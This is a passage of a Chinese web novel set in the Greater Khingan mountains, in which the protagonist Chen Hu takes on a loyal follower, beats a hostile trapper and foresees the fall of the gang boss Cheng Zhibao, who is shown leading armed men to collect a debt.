“暴力是只存在于欺骗达不到目的后,只能采用的最为下策的选择。” “在此之前,欺骗才是最优解!” …… 春日的暖阳,着实让人舒坦。 可惜。初春的冷风却截然相反。 尽管冬日时笨重的棉服仍旧不曾脱下,但仍旧不时有让人感到一阵阵的凉意,钻进了皮肉里,冻得人直哆嗦。 陈虎起了个老早,起床时就习惯性的被冻了一下。 吃过早饭之后,陆无双就带着陈瑶和陈真那两个小家伙去了学校。 杨蓉则忙活着要下田,眼看着大家今儿都有事情要忙活,陈虎则不由得将他的目光,投向了堂屋里房梁上空了的位置。 没办法! 原本家中悬挂的肉,其实放到正常情况下,完全足够陈虎一家子吃上一年了。 不过,碍于前些日子不仅改建了老屋,又建设了学校,参与改建老屋和建设学校的那些个工人,可都得管饭。 再加上在陈虎家中,像是马老三和张大娘一家都是常客,这么多张嘴真要是都敞开了吃的话,那的确是禁不住的。 特别是陈虎之前还往孙老那里送了大半,也让陈虎之前打猎所得到的这么多的猎物,快要见底了。 陈虎不由得摇头,轻笑了一声。 当即,陈虎就从墙上取下猎枪,带上了弓弩和短刀,做好全套准备,出发进山。 进山前,陈虎还特意走了一趟养殖场。 马老三倒是勤快,一大清早就忙活着上养殖场来打理,黑狗没有得到陈虎的吩咐,早上也就跟着马老三一起去养殖场,帮衬着马老三做些事情。 陈虎想了想,随后就叫上了黑狗,跟着他一起进山。 黑狗今年也就二十出头的模样,长得还算端正,也十分壮实,就是人黑了点,一眼望去,他就是那种不输庄稼汉的劳力,并且还剃了个板寸,显得十分干练。 黑狗拉上拖着,就跟着一起陈虎进山了。 与马老三不同,黑狗这小子的话是真不少,一路上都在冲着陈虎东问问,西问问的,嘴完全停不下来。 “虎哥,你打的那头山君有多大啊?我听家里头老人说,一头山君得有一千斤重!蹦起来能跳八米高!躲在树上都逃不掉!” 对于黑狗的碎嘴,陈虎倒也显得十分耐心,没有反感。 面对拉着拖车累得直喘粗气,却还要说话的黑狗,陈虎没有敷衍,认真回答道: “是重!七、八百斤得有!而且,山君的确能跳八米,只不过在众生平等的子弹面前,只要换弹的速度足够快,谁来都打不过两个照面!” 黑狗闻言,不由得一阵兴奋,接着又问道: “对了!虎哥,你说我跟了你,豹爷那边会不会找茬啊?” 陈虎听到黑狗这话,不由嗤笑一声,说道: “成枝豹已经被我派去县城里头了,你就放心吧!你要愿意就放心留下,工资我开,没人会说啥的!” 接下来的路程中,黑狗这小子拖车时也不喊累,嘴上依旧问出各种问题,陈虎一一回答。 一开始,黑狗还会继续问和打猎有关的问题,比如野猪最大能有多重?野猪到底能够抗得住多少枪子? 之后,黑狗问的就复杂了,比如他问了陈虎与孙家之间的具体关系,还直言成枝豹因为陈虎与孙家之间走得近,这才十分畏惧他陈虎。 平日里,要是赌场里面找人或是别的啥,只要和孙家沾了关系的,成枝豹都一律回避开来,这股子畏惧似乎都快要刻进成枝豹的骨头里面了! 陈虎在关于“他和孙家之间的关系”的这种问题上面,自然是会留心眼,不会多说什么的。 他直接简单说了几句,就把黑狗给敷衍过去了。 等到黑狗问了个透彻,再也没有问题问了后,陈虎这才开始打听起黑狗的情况,装作不经意的样子问道: “对了!你家里还有几口人啊?” 黑狗闻言,如实回答道:“家里头父母健在,还有个妹妹,一共四口人。” “你父母是作甚的?” …… 陈虎经过多番询问,随后也是将黑狗的底子,给摸了个清清楚楚。 当然,黑狗这人倒也坦诚,没有藏掖着什么。 在询问了黑狗过后,陈虎也是大致了解了黑狗这小子的跟脚了。 第137章 想要做人上人,光吃苦不行,得吃人! “黑狗”这诨号的由来,十分简单。 就是因为这小子肤色偏黑,跟成枝豹混又比较晚,没资历也没背景,叫一声“黑狗”,倒也不算太欺负他。 黑狗本名包专,倒是个喜庆名字,包专、包赚。 据他所说,他出生那年的年景不赖,家里丰收了,他爹就走走县里头当货郎。 临行前,他隔着临产期还有两个月,他爹想着这一趟包赚,就取了这么个名儿。 结果,他爹前脚刚走,紧跟着大家伙就吃上了大锅饭,他爹也因为投机倒把进去了几天。 这名儿喜庆,但包专自打生下来后,家里头就没有什么喜庆事儿。 先是公社那几年吃不饱饭,然后,他成年之后也去过县里头做苦劳力,结果待了大半年,一分钱没捞着,还因为不交“份子”、“保护费”,而挨了一顿毒打。 灰溜溜回了家的包专,因为比较壮实,就被成小天给带到了赌场里面混着。 包专说到这段经历时,还嘿嘿傻笑个不停,直言道:“虎哥,你说我这算不算痛定思痛,既然正正经经做人,老老实实做事儿混不下去的话,那我倒不如去挣点儿亏良心的口粮,起码没给我饿死,每个月还能往家里面搬一袋米、几斤肉不是?” 陈虎对此,也是唏嘘不已,他一边听着,一边笑着摇头道: “得!黑狗,你听过一句话没,叫以形补形。” 黑狗闻言,满脸迷糊的摇了摇头。 陈虎接着笑道:“就是老话说的,吃啥补啥!” “虎哥,你这么说的话,我就明白了!” “听过,咋会没听过呢?” “前年我爹去山上采药,结果药没见半点儿影子,我自个儿还给腿摔瘸了。我当时刚好从豹爷那儿领了月钱,我妈拿了钱就买了只猪脚回来炖煮,说的就是吃啥补啥!” 见黑狗拖着拖车还傻乐的模样,陈虎微微叹息,走在前头,目光不由得投向了远处的山脊,眼神深邃而灼灼的点了点头道: “吃啥补啥,所以说吃得苦,只会更苦!想要做人上人,光吃苦不行,得吃人!” 黑狗闻言,猛地抬头望向陈虎,却并未停下脚步,就这么默默的跟着陈虎走了一阵,这才缓缓的开口道: “虎哥,你的事迹,我耳朵都听起茧子了!我黑狗是个粗人,嘴笨说不出啥漂亮话来,但既然虎哥看得上我,往后只要虎哥你用得着我的地方,那你让我干啥,我黑狗都绝对不会含糊的!” 陈虎闻言,当即停下脚步,然后望向远处的高山,若有所思的开口道: “你平日里去过道观吗?” 见陈虎没有应声,反倒是问了这么一个问题,黑狗有些不解的摇了摇头道:“没去过!虎哥去过吗?我记得这一片没有道观啥的啊?” 陈虎微微眯眼顿了顿,接着开口道: “我一个朋友葬在一处道观,我记得那处道观供奉的是药圣——孙思邈。而那处道观的后山上,有一块石碑,碑上有一段刻文,上面写着四个字。” “什么字?” “元亨利贞,听说过吗?” 黑狗听到陈虎这话,顿觉一个头两个大,眼神之中,满是疑惑与无知。 陈虎却没有给黑狗回应的机会,接着赘赘有序的说道: “这四个字出自《易经》,代表了乾卦的四种基本性质。” “元:始也,代表着一切的开始,万事万物都在此列,好似春日的生机勃发、万物竞生,象征着伟大天圆。” “亨:通也,引意为嘉会。意味着事物的成长过程,亨通顺利,就如夏日生机勃勃,一切生长的过程。” “利:有利,引以为义和,代表着一切事物的收获,和谐有益的前进。” “贞:正也,贞正坚固,意思是永恒不变。” 陈虎的这番释义,却是彻底让黑狗懵了圈,半晌都没回过神,毕竟他一个没多少文化的大老粗,听到这些完全就是抓瞎。 听到最后,黑狗眨巴眨巴眼,只能用求助的目光看向陈虎,有些讪讪的说道: “虎哥……我听不太懂!” 陈虎转过身哈哈一笑,然后拍了拍黑狗的肩膀,坦然出声道: “听不懂没关系,我教你!这四种属性代表着万物从萌芽到生长结果的过程。” “而你黑狗一没有头脑,不能为元,也就是在开端做出贡献。” “二没有能耐,为我的事业保证亨通顺利。” “三没有能有益于我事业的后续,做出发展。” “那你告诉我,我眼下让你给我做司机,你除了会开车之外,还能够为我做些什么呢?我凭什么收你?” 这话从陈虎的嘴里说出口,一下子就给黑狗问住了。 黑狗的手紧紧攥着拖车的托绳,好半晌一言不发,脸色涨红。 犹豫了许久,黑狗直接松开了托绳,紧跟着就二话不说,直接就“扑通”一声,跪倒在地道: “虎哥!您说我能做啥,我黑狗眼皮子都不会眨一下,一定拼了命做好的!” 陈虎见状,顿时就拉下了脸,语气冰冷的开口道:“站起来!” “记住了,人这一生,跪天跪地跪父母,你没有必要跪我!” “你跪着的时候,就失去了和我平等交流的话语权。无论你以后是否帮我做事,对我而言,我需要的都是做事儿的人,而不是听话的狗!” 黑狗闻言,顿时就红了眼,挣扎着站起身,而后低下头,咬牙道:“虎哥,您说的我都记着,那您能告诉我,您要怎么才能够收下我吗?” 黑狗很清楚陈虎近几个月来所做的一切。 一个十七、八岁的青年,能够在短短几个月的时间内,一步步从家徒四壁,再到如今的虚职村长,建学校,带领全村的乡亲们有活路,并且更是攀上了孙家的高枝。 而且,黑狗在进山前,还得到了镇子上的熟人传来的消息,说陈虎干掉了整个马关口最大的大佬马加爵! 如今,陈虎还推着成枝豹,去接管了整个马关口的地下生意。 而以往带他黑狗的成小天,现在也已经成为了镇上赌场的话事人,成了所有人见到都得唤一声哥的“天哥”。 没什么多余可说的,陈虎能够走到今天这一步,在黑狗看来,绝对是个活着的传奇! 但凡是陈虎今儿要他黑狗表决心,让他去做什么脑袋绑在裤腰带上的活儿,那他都能够狠下心去做的! 听了黑狗的话,陈虎没有应声,没有给出回答,就这么先晾着黑狗一会儿,同时自个儿找了块石头,一屁股坐下。 故作沉思了一阵之后,陈虎这才一脸认真的看着黑狗,然后不紧不慢的开口说道: “黑狗,元、亨、利前面三个,你都做不到,你唯一能做的就是贞!” “忠贞,明白吗?” 听到陈虎这话的黑狗,当即大喜过望,急忙点头道:“虎哥,您放心!我黑狗往后的这条命都是你的!只要虎哥愿意带着我,那我黑狗要是敢变心的话,老天爷就让我五雷轰顶!” 第138章 扶不上墙的狗屎! 对于黑狗的誓言,陈虎却是笑而不语。 接着,陈虎起身拍了拍黑狗的肩膀,然后就自顾自的接着往前赶路。 黑狗见状,却没弄明白陈虎的意思,愣愣的望着陈虎走远。 等到陈虎走出几步,回头见黑狗愣在原地时,这才轻笑着摆手道: “愣着作甚?刚发誓跟我,这就不打算跟着我走了?” 黑狗闻言,如获大赦,赶忙憨笑着攥着拖车的托绳,直接拉着拖车,跟了上来。 春日是万物竞发的时节,尽管横错的高山的山脊上,仍旧有积雪没有融化,但地势低处的山林早已经是鸟语花香一片。 不必说化冰解冻,开始哗哗流淌的溪水,也不必说茂密林木间抽出的新枝嫩芽,点点翠绿的,单是这和煦温暖的阳光,就让人的心情大好。 伴着枝头鸟儿叽叽喳喳的叫声,春日的美好,尽在陈虎与黑狗两人那平和而舒坦的心境之中。 当然,任何事物都有自己的两面性。 大自然当然也不会被排除在外。 和煦的暖阳与生机勃发的春日是一面,隐藏在暗中的威胁,却又是另一面。 随着前几日春雨绵绵,响彻整片山林的春雷炸响之后,大兴安岭的深处也是迎来了自己的新一轮开始。 原本冬眠的毒蛇、野熊,都随着春雷过后,开始渐渐苏醒,而后外出觅食。 气候回暖融化了大片的冰雪,再加上连日的小雨,让得山上的几处湖泊的水位,在不断见涨。 尤其是那些陆陆续续开始进山的猎户们,在无数个野兽出没的地方都布置了各种致命的陷阱,以及深山里头逐渐活跃的豺狼野兽、毒虫毒物,也都隐藏在暗处,时刻准备着给外来者致命一击! 这是一片蕴藏宝藏的山林,同样也是一片充满危险的地方。 陈虎、黑狗二人逐渐深入山林后,路过一处溪涧时,陈虎猛地停下了脚步,并抬手示意身后的黑狗止步。 黑狗一脸疑惑的望向陈虎,正打算开口询问时,却见得陈虎直接弯下腰,捡起了一块石头,接着就朝着面前的一堆枯叶扔去。 下一瞬,只听得“铿锵”一声金属撞击声传来,那块风化石便被一个硕大的捕兽夹,给夹得粉碎! 黑狗顿时被这一幕吓得连退好几步,他的眼睛瞪得老大,显然是给吓得不轻。 “我勒个去!虎哥,还好你看到了,不然的话,这一下子不得没了条腿啊?” 不同于黑狗的惊诧,陈虎却是皱眉上前,深吸了一口气查看周围,最后冷哼一声,大骂道: “放置这夹子的人,如果不是没长心的生手的话,那就是黑了心的老猎户!” “这夹子布置得干净利落,但却没有做任何标记,这是丝毫不在乎会伤到人!” 通常来说,这片山脉之中多的是猎户与采药人。 即便是再深的山,也有人会踏足,所以像是布置捕兽夹一类的陷阱,大家其实都有一条不成文的规定。 那就是做一个显眼的记号,以免会误伤到人! 也就是陈虎以往进山都是大雪封山的时候,没什么人会在这季节进山,他之前才没有做什么标记。 而眼下的这个捕兽夹,则摆明了是新鲜放置的,就连下捕兽夹面的泥土都还有翻新的痕迹呢! 而捕兽夹放置的位置,还是在外围山脉,所以陈虎才会说放置这捕兽夹的人,心黑透了。 而后,陈虎就简单给黑狗解释他说放置捕兽夹的人心黑透的缘由,而后拎起那个捕兽夹就扔到了拖车上。 黑狗得知情况之后,也是忍不住怒骂出声道: “何止是黑透了心肠!” “虎哥,你这说的都轻了!” “要我说,他这简直就是畜生不如!” “畜生伤人还能是为一口吃食,放了这捕兽夹来伤人的家伙,纯粹就是个没爹娘生养的狗屎玩意儿!” 就在黑狗义愤填膺骂得起劲儿时,远处的林间,突兀的就传来了一声怒斥道: “那边那两个,弄啥嘞动老子的夹子!” 陈虎与黑狗当即就循着声音望去,顿时就看到在一处陡坡上,一个手里头拎着喷子的青年,正向他们靠近过来。 那青年满脸怒意的看着陈虎和黑狗二人,一副二人偷了他东西的样子。 黑狗哪儿能够忍这气? 就见得,黑狗直接就放下了拖车,然后撸起袖子,先向陈虎知会一声道:“虎哥,你等我一会儿,我马上就回来!” 说完,黑狗随后就朝着那青年的方向,直接就冲了过去! 陈虎倒是神色淡然,并没有多作声。 同时,陈虎来到拖车旁边抽身坐下,接着就瞅着黑狗和青年上演好戏。 该说不说,那看着年岁不大的青年,这次还真就是撞到了枪口上! 别看黑狗在陈虎的面前,不是憨笑,就是低头顺耳的,但他那一米九接近两米的身高,壮实的看着就像是一头黑熊! 再加上黑狗跟着成枝豹在赌场里面待了两年,他面对普通人时,连表情都会多出一抹戾气。 毕竟黑狗是黑道上的,若是他慈眉善目的话,那他还怎么能够让人心甘情愿的还债、上月贡呢? 那青年看上去倒也算壮实,一米七八的个头,裹着一件黑袄子,短发小眼睛,拿着喷子满脸怒意,咬着牙就这么直挺挺的朝着黑狗走去。 黑狗和那青年两人刚一碰面,那青年就叫嚣着开口道:“黑大个,你们俩他娘的是不是把老子捕兽夹给拿走了?” “我可告诉你,老子叫吴跳,是下河村的扛把子!你俩不赶紧把老子的捕兽夹放下滚蛋的话,那等会儿老子叫上弟兄们,就给你俩埋在这地界!到时候,有你俩好受的!” 听着那自称“下河村扛把子”的青年吴跳大放厥词,黑狗完全一言不发,然后直接上前,抬手就一个巴掌,抽到了吴跳的脸上! 好家伙! 就黑狗这两米左右的身高,他一巴掌下去,那力道完全能直接打死人! 当场,黑狗把吴跳的小眼睛给打的身体在原地满满的转了一个圈。 吴跳直接就被打蒙了,整个人都傻愣愣地看着眼前的黑大个。 等反应过来之后,吴跳的左半边脸都已经红肿起来老高了。 随即,吴跳眼神惊恐,双手颤抖。两条腿打着摆子,对黑狗举起猎枪,带着哭腔道: “你……你他娘……” 黑狗自然不会给吴跳用枪口指着他的机会,就见得,黑狗抬手就一把夺过了吴跳手中的猎枪,而后高举着枪托,冲着这吴跳的脑门,就直接砸了下去。 这下子,吴跳这家伙算是彻底跳不起来了! 吴跳直接就被黑狗砸到在地,不由得“呜、呜……”的喊叫着,他的额头上面,也是多出了一条口子,正哗哗的往外冒血。 黑狗见状,却并未打算收手,他扔掉猎枪之后,直接就一脚踹在了吴跳的腹部。 吴跳被踢中后,直接就捂着肚子,在地上不断的打滚、惨叫。 不过,黑狗并没就此放过吴跳。 而后,黑狗又不解气的再次对着吴跳踢了一脚。 而这一脚,却是结结实实的踩在了吴跳的脸上。 踢完吴跳之后,黑狗不由得啐了口唾沫,大声怒骂道: “扶不上墙的狗屎!走到哪儿,恶心到哪儿!” 第139章 扔了西瓜捡芝麻这事儿,我可做不来! 人类这种物种,就是奇怪! 先前还上蹿下跳,叫嚣声极大的吴跳,这下子被包专踩着半边脸,又开始一边哭喊着,一边低声下气的求饶。 “大哥!大哥!您放过我吧!” “爷爷!爷爷!您就把我给当一个屁给放了……“ 见对方变脸竟然这般快,包专不由得皱了皱眉,再跟着吐了口唾沫到吴跳的脸上,满脸嫌弃的喊道: “你不是什么玩意儿扛把子?有点骨气和能耐好嘛?搁这儿趴着,像条丧家狗似的求饶,白白浪费你爷爷我的兴致!” 这时候,陈虎也悠哉悠哉的走上前来,本来打算让包专别浪费太多时间在这种货色的身上,却意外的发现这个吴跳十分的眼熟。 而恰好正在求饶的吴跳,这时候也见到了过来的陈虎,当即如获大赦,双眼一亮,赶忙冲着陈虎求饶道: “虎哥!是您啊!虎哥!” 陈虎闻言,眉头微皱,有些不解的打量着吴跳,对方呢模样倒是熟悉,但陈虎却始终想不起来这人是谁。 包专见地上的吴跳看到陈虎后,竟然和陈虎套近乎了,就适时的松开了脚,等待着陈虎的指示。 吴跳随后满脸是泥的挣扎着坐起身,然后冲着陈虎挤出一个比哭还难看的笑脸道: “虎哥,我刚才是不知道对面是您,这不是大水冲了龙王庙嘛!” 看着吴跳那一脸泥泞的脚,陈虎努力回想一阵,却始终记不起在哪见过这家伙,当即蹙眉道:“咱们好像没这么亲的关系吧?” 吴跳闻言,猛地一拍大腿,接着讪笑道:“虎哥,您这是贵人多忘事!我是下河村的吴跳啊,之前媒人还说过要把你妹妹嫁给我二叔,我还跟着我二叔去过您家里头,就那时候见过……” 听着吴跳的叙述,陈虎这才从他以前那繁杂记忆里,想起吴跳的身份。 这段记忆属于原主,那时候,原主家里头揭不开锅,杨蓉为了大家都有条活路,就不断地给家里面的三个孩子找存活的出路。 一开始,小陈瑶和小陈真两人,还没有人提过要过继他们,因此杨蓉曾经差点儿就做了错事。 为了让陈瑶能活下去,杨蓉听了说和的媒人的话,准备把小陈瑶送到下河村那边的一个姓吴的光棍家里头,给对方做童养媳。 在杨蓉当时看来,家里过不下去了,不管小陈瑶做童养媳的生活,再如何悲惨,但多少也是一条活路不是? 那时候,家里也差不多要到三天饿九顿的地步,杨蓉其实也不忍心让小陈瑶做老光棍的童养媳的。 但让杨蓉就这么看着她的三个孩子饿死,或者她找点药让一家人整整齐齐的去死,杨蓉无论是作为母亲,还是作为一个人,都万万下不了手的。 陈虎记得那吴姓光棍都三十好几了,而自家妹妹当时才六岁。 这年头,娶一个适龄老婆,也要花不少钱,因此,就有一些想要传宗接代,但没那么多钱的光棍,会找穷人家里的童养媳。 对他们而言,给的彩礼少,只要把女娃养大,那就能直接娶了当老婆,成本很低。 某种程度而言,这对没钱娶老婆的光棍有利,也对愿意把自家女娃给人当童养媳的穷苦家庭有利。 毕竟,能把自家女娃送到别人家里面当童养媳的家庭,也是家里面实在是没活路才会选择这么做的。 他们送了女娃后,家里就能得到一份不多的彩礼存活,也能让女娃被送出去后,以后的日子过得比在家里面更好一些。 吴姓光棍就是因为一直没有足够的钱娶适龄的老婆,这才找了媒人,把主意打到童养媳上面。 而这名叫吴跳的青年,就是当时来陈虎家里说媒的吴姓光棍他侄子! 并且这吴跳跟着吴姓光棍来陈虎家里头时,甚至于还出言调戏过杨蓉! 更是对着小陈瑶一阵指指点点,说了几句上不得台面的腌臜话。 很明显,吴家这对叔侄都不是什么好人。 杨蓉后来看出来吴家叔侄不是善类,最后就拒绝了把小陈瑶送到吴家送童养媳。 直到后来,村东头那老光棍开口,可以把小陈瑶和小陈真都过继给他养活,这事情才不了了之。 即便这段记忆大致和如今的陈虎扯不上关系,但想到当即吴家叔侄来家里的情况,陈虎仍旧遏制不住满眼的怒意,死死地盯着面前的吴跳。 许是感觉到了陈虎情绪上的波动,吴跳不由得狠狠的咽了口唾沫,正欲开口说点什么,却见眼前突然一花,他整个人就直接倒飞了出去。 陈虎硬生生的一脚就把吴跳给踹翻飞了出去! 眼见吴跳这厮倒地,直接就没了动静,一旁的包专当即忍不住暗暗心惊,陈虎这一脚的力道,可不比他用尽全力来踢吴跳的力道轻,甚至于还重得多了。 这让得包专忍不住暗自唏嘘,别看陈虎个头正常,也没什么夸张的身板,但陈虎这打斗能力完全少有,简直牛逼冲天了! 陈虎一脚踹出,见吴跳人没了动静倒地,想来多半是晕死了过去,当下也不多言,直接就招呼着包专,一起折回去接着赶路。 这段小插曲很快过去,陈虎与包专两人在正午时候,也抵达了预定的地点。 这是一处群山环绕的广袤白桦林中,四周都是高耸入云的山脊,为这处地势低洼处挡住了大量风雪。 并且,也由于地势低下的原因,山涧的水流不出去,所以这里除了一片白桦林密林外,还有大半的位置都是一处沼泽地。 陈虎和两人从一处山沟处来到这地界,刚踏足柏桦树林,陈虎便提醒包专道: “当心些!只要有积水和水草的地方,那千万都不能踩!这沼泽地要是咬住了人,两分钟时间内,就什么也剩不下了!” 包专闻言,赶忙查看脚下。 他眨巴眨巴着眼睛,仔细观察四周的地上,一阵默然,显然是已经被陈虎的说辞,给吓到了。 紧接着,陈虎和包专二人就深入了林中,没走多久,他们就看到了沼泽地。 在一堆白桦树中间,树根早已被水浸泡,平静的水面蔓延到视线的尽头。 那平静的水面,倒是十分清澈,透过水面,你甚至于能够看清楚那底下的烂泥。 这些个烂泥,都散发着奇怪的臭味。 这股味道,十分刺鼻且奇怪,不似那种粪臭一般难闻,却带着一股子让人浑身不自在的感觉。 就好像粪水味道是齁得慌,而这烂泥的味道,却像是有人拿针尖刺你的鼻孔。 陈虎望着眼前的沼泽地,当即就摆了摆手,示意包专放下拖车。 随后,陈虎拿上了猎枪,并且将他的弓弩,扔给了边上包专,示意包专跟上他,一起顺着沼泽地的边缘,往前走去。 包专自然是老实跟着陈虎,听从陈虎的命令。 一路上,陈虎在前开路,仔细查找着四下的痕迹的同时,并向包专有条不紊的解释道: “这地界属于低洼,不仅平均气温高,并且四面环山,冬日里没了冷流,也比较暖和。因此,沼泽地里头的鱼类自然是少不了的,特别是那些个食草动物也都大概率喜欢往这种地方钻,像是野猪和狍子一类的……” 包专一边听着,一边暗暗吃惊,他倒是没有捕猎过,但在大兴安岭这地界上,多的是猎户。 当地的文化背景,就是历代半农耕、半渔猎的游牧状态。 因此,包专自然也清楚不少捕猎的技巧与门道。 可像是陈虎方才的那种分析,包专倒是第一次听说。 找寻了一会儿,两人都没有发现什么猎物的踪迹。 包专闲得无聊,莫名想到一件和陈虎有关的事情,一直憋在他的心里。 嘴上闲不住的他,想要找话题姐们,最终还是开口问起陈虎来了。 “虎哥,其实吧,兄弟我一直有个事儿想不明白。想问问你,但又不知道合不合适?” 陈虎正朝前方寻觅着猎物的踪迹,听到包专的话后,立马回道: “你直说便是!” 包专闻言,当即就轻咳一声,接着又看了陈虎一眼,深吸了一口气,问道: “我知道虎哥干掉了马加爵,甚至于还拖了关系,把豹爷送到了县城里头,直接把豹爷推到了县里龙头老大的位置。” “不过,有一点,虎哥我没想清楚,你有这能耐,怎么还便宜了豹爷呢?你自己去做咱们县里的龙头老大,不好吗?” 包专的疑问,倒是不难理解。 毕竟,陈虎能推一个成枝豹去做马关口所有堂口的龙头老大,那他怎么不亲自去坐那个龙头老大的位置? 这在见识不高的包专看来,就相当于陈虎揣着一座金矿,结果,陈虎自己不去开采,反倒是让给成枝豹来开采,把所有的金子全部都送给成枝豹一样。 听到包专这话,陈虎却是无奈的笑了笑,接着头也懒得回,语气淡然的解释道: “很难理解吗?你认为我若是坐了马加爵的位置,孙家还会不会与我有瓜葛?扔了西瓜捡芝麻这事儿,我可做不来!” 第140章 成枝豹没能耐 听了陈虎的话后,一旁的包专顿时恍然大悟。 接着,包专讪讪的笑道:“还是虎哥考虑得周到!换做是我的话,那我可就真的会扔了西瓜捡走芝麻了!” 陈虎这时候却是走到一处巨大的榕树底下后,然后便不再接着走了,他反倒是蹲下身,去查看那树下的一堆新鲜的粪便。 只见,那堆粪便还热稠得冒着白烟,再看向树底下的那些个凌乱的脚印,陈虎的眼中不由得带着一抹深沉。 随后,陈虎便轻笑着对包专,缓缓开口道: “难道你认为成枝豹就当真能够坐得稳那堂口龙头老大的位置吗?呵呵!” 陈虎这话落到包专的耳朵里面,无异于是万里晴空中的一声炸雷。 包专直接就傻了眼,满是不解道: “虎哥,你的意思是……” 陈虎随后站了起来,十分不以为意的说道:“在商业思维中,有个说法。一个人挣不到他自己认知之外的钱,就算是他侥幸因为风口撞上,而挣到了钱,那他也会以另外一种形式,把钱返还给市场的。” 包专闻言,眉头紧锁,随后犹豫出声道:“虎哥,我不太明白你的意思。” 陈虎这时候收起脸上的那抹微笑,一脸正色的缓缓出声道: “有司家从中作梗,成枝豹那堂口占不了多久的,就算是有了我搭线的关系,背后竖着孙家大旗,以他成枝豹的能耐,最多不超过一个月,就会灰溜溜的滚下台。” “当然,要是成枝豹的运气差点儿,那他马上横死街头也不是不可能的。” 听到陈虎这话,包专整个人都直接怔在原地了。 陈虎见状,直接拍了拍包专的肩头,接着露出了一抹浅笑道:“别傻愣着了!等会儿,你可有的忙活呐!” …… 马关口,溪桥街。 对于成枝豹而言,他最近不仅春风和煦,就连路边的野狗他看着都顺眼不少。 很多时候,命运的确很奇妙。 他成枝豹前半辈子在整个马关口,屁都不是一个! 早年间,成枝豹在马关口最大的赌场里面当马仔,混到三十来岁,依旧一事无成。 他每月从赌场里面拿的那点儿月钱,最后全部都还给了赌场,自个儿是一分没留下。 家里头,成枝豹父母早故。 在公社时期,成枝豹就偷懒耍滑,当个烂人,每天出工不出力,混完了之后,他吃饭跑的最快。 这直接就惹得一众人对成枝豹极其不满,但碍于成枝豹这厮是个混不吝的,也没人愿意和他起冲突。 后来,时代不一样了。 成枝豹就直接自个儿在家里头起了炉灶,经营了个小赌场。 除了各种从外面带回来的千术之外,还有那些个先让人尝尝甜头,然后再吃干抹尽的路数,成枝豹都一样不落的全部都用出来了。 赌场除了这些台面上的营生之外,成枝豹之后也学着放放“水钱”。 而成枝豹原本戒不掉的赌瘾,等到他自个儿经营赌场之后,竟然直接就戒掉了。 本来,守着自己个儿的一亩三分地,成枝豹的日子,过得倒是悠闲。 可陈虎的出现,却是让一切都变了! 先是陈虎,然后是马加爵这种大人物,再后来连司家与孙家都扯了进来,他成枝豹那几天内,半夜翻来覆去,总是会突然惊醒。 就连他站队陈虎,都是成小天给他出的主意。 等到马加爵死在他的眼前时,成枝豹都觉得那一切都是一场梦。 他当晚一整夜没合眼,就怕陈虎食言,最后让他落得个凄惨下场。 但到了后面,成枝豹完全就没有想到事情竟然会顺利到这般程度! 马加爵被处理之后,陈虎只用了一个晚上,县里头的大人物就给他打了电话。 紧接着,他成枝豹就迷迷糊糊的带着他手下的兄弟们,到了县城。 很快,在那位大人物的牵头之下,一个个地下产业的幕后人物,都被聚在了一起。 所有平日里都不会正眼瞧他成枝豹的大佬们,那天轮番的找他敬酒,并且承诺往后每月都会有三成份子钱,送到他手里头。 就这样,成枝豹轻而易举地接手了不少原属于马加爵的产业。 成枝豹的身价急速膨胀,他也在不知不觉间,像是变了个人。 刚来县里头不到半个月的时间,成枝豹就和以往判若两人了。 他不再会为了几个赌棍而黑着脸,刻意让他看上去凶神恶煞的,也不会因为一笔不多的钱,直接就和人大动干戈了。 如今,他成枝豹手底下的四十几个弟兄,再算上拜了他堂口的弟兄,那随便就是几百号人! 尽管这个月内,那些不同灰产行业的大佬们还没有给他上交份子钱,但成枝豹现在也已经算是脱胎换骨了。 现在,他的手里就已经掌握着马加爵名下的所有沙场,以及那些提供特殊服务和博彩的场合。 成枝豹如今不仅脱掉了他身上穿了快三年的皮衣,甚至于他还特意换了身厚西装。 他现在不仅打上了领带,就连他脸上那道狰狞着横过眼睛的刀疤,他都从外面弄了个半张脸的面具来遮住。 今儿天气不错,都已经日上三竿了,但成枝豹却仍旧躺在床上。 在他的两只胳膊上,分别躺着两个二十来岁,身材、容貌都顶级的细皮嫩肉的小姑娘。 这两个女人都是昨儿管理马关口人口贩卖,与拉皮条生意的殷弘,特地给成枝豹送来的。 当然,更对成枝豹胃口的还是殷弘那女人,不仅长得标致,身材板正,还特别有味道! 可就在忙活了一整晚,大中午才刚醒来的成枝豹正抱着美人,心里面又想着其她美人时,他手下的一个马仔却是急匆匆的撞开了房门。 然后,那马仔就火急火燎的冲了进来,还连声大喊道: “豹爷,不好了!豹爷,不好了!” 成枝豹见状,却是直接从床上跳了起来,然后随手抓起床边柜子下的痰盂,就冲着那马仔直接砸了过去。 痰盂里面的灰,顿时就撒得到处都是的,直接就吓得那马仔不敢吱声了。 成枝豹随后怒不可遏的出声道:“有屁就放!还老子不好了?你他娘全家都不好了!” 那马仔看着赤身裸体的成枝豹,不由得打了个哆嗦,然后赶忙低下头,接着才结结巴巴的解释道: “豹爷……就……就是那啥,咱们弟兄去县城边上那个梅灰营镇上收一笔水钱,结果钱……钱那人没给,还把去的两个弟兄都给打了……对方顺带着还扣了个人,还说……还说……” “还说你他娘死了吗?赶紧说!他还说啥了?!”成枝豹闻言,又是一阵怒不可遏。 他看到那马仔说话时结结巴巴的样子,心中更是惹火。 那马仔看到成枝豹发怒,心中更怕,不由得狠狠的咽了口唾沫,然后才回道:“豹爷,他还说……这笔钱是在爵爷场子借的,他只认爵爷,还说要豹爷过去,拿钱赎人!” 成枝豹听完这话,暴脾气也是压不住了,直接就摆手道: “玛德!叫弟兄们抄家伙!老子还不信了,在这马关口,当真有不怕死的硬茬子,敢和老子犯浑!” 说罢,成枝豹就三下五除二的穿上了衣裳,然后走出门,召集起了他的人手。 第141章 贪婪是人的共性! 不多时,一辆小轿车和三辆小货车就开到了梅灰营镇上。 很快,成枝豹的马仔们就全部都下了车,而后神情凶狠地在成枝豹的轿车旁排成队,静静的站好,等待着成枝豹下车。 与此同时,成枝豹嘴角带着轻蔑的笑容,十分威风的走出了轿车。 “那狗娘养的逼玩意儿住哪儿呢?” 扫视了一眼眼前的梅灰营镇,成枝豹便问起了身边等候的马仔们。 “就在那儿!” 之前给成枝豹报信的马仔,指着镇子街头的一户人家大喊。 成枝豹闻言,就从车上拿了一把喷子端着,然后冲到了最前面,对手底下的马仔们大喊道:“弟兄们,都跟我走!敢不给老子钱,反了他了!” 随即,就见到成枝豹带着一群人,个个手持各式武器,浩浩荡荡的朝着镇子街头的一家人家,直接就冲了过去! 这声势直接就让得一众居民们,连忙都锁上了门,不敢多看一眼。 